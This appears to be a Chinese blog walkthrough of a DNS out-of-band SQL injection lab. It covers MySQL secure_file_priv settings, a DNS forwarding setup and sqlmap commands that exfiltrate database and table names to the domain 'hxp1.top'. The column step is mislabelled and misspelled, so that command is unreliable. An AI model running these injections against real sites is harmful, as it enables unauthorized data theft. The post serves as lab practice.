当前位置:网站首页>DNS外带注入SQLMAP
DNS外带注入SQLMAP
2022-08-11 05:21:00 【朵拉爱学习】
一.实验环境
1.kali(使用sqlmap)
2.windows10(靶机)
3.windows 2008 R2 ( 需要设置dns服务器)下载镜像地址: https://msdn.itellyou.cn/
设置mysql
secure_file_priv为空,就可以读取磁盘的目录
secure_file_priv为D:\,就可以读取D盘的文件
secure_file_priv为null,load_file就不能加载文件
添加一句secure_file_priv=""
设置dns服务器
上面服务器这里填kali的ip,下面是主机首选dns服务器填服务器的ip
kali输入tcpdump -n port 53
ping通有数据包就说明成功(如果ping不通服务器的ip的话就关掉防火墙)
也填kali的ip
二.SQLMap使用外带dns注入
取库
输入sqlmap -u "http://192.168.10.195/sqli-labs-master/Less-8/?id=1" --technique=T --dns-domain "hxp1.top" --dbs
获取表
kali输入sqlmap -u "http://192.168.10.195/sqli-labs-master/Less-8/?id=1" --technique=T --dns-domain "hxp1.top" -D security --tables
获取到列
输入sqlmap -u "http://192.168.10.195/sqli-labs-master/Less-8/?id=1" --technique=T --dns-domaim "hxp1.top" --dbs
边栏推荐
猜你喜欢
随机推荐
04-开发自己的npm包及发布流程详细讲解
npm WARN config global `--global`, `--local` are deprecated. Use `--location=global` instead.
let 块级作用域
C language - program compilation and execution, detailed macro definition
正则(三剑客和文本处理工具)
Mobx--store状态管理工具
C语言——动态内存分配常见的错误案例
山西省公安厅交管局发布雨天安全出行提示
[C language advanced] The first in-depth analysis of the storage of integer data in memory (1)
如何正确使用OPcache优化系统性能
工具窗口永远置顶
Introduction of several ways to initialize two-dimensional arrays in C language (private way to initialize large arrays)
NodeRed系列—nodered安装及基本操作
列表渲染 map 与 v-for
C语言——文件操作详解(1)
mysql基本概念之事务
生成用户的唯一标识(openId),并且加密
C language learning record--variable basic type and memory size
C语言之EOF、feof函数、ferror函数
Chapter 4 Composite Types-1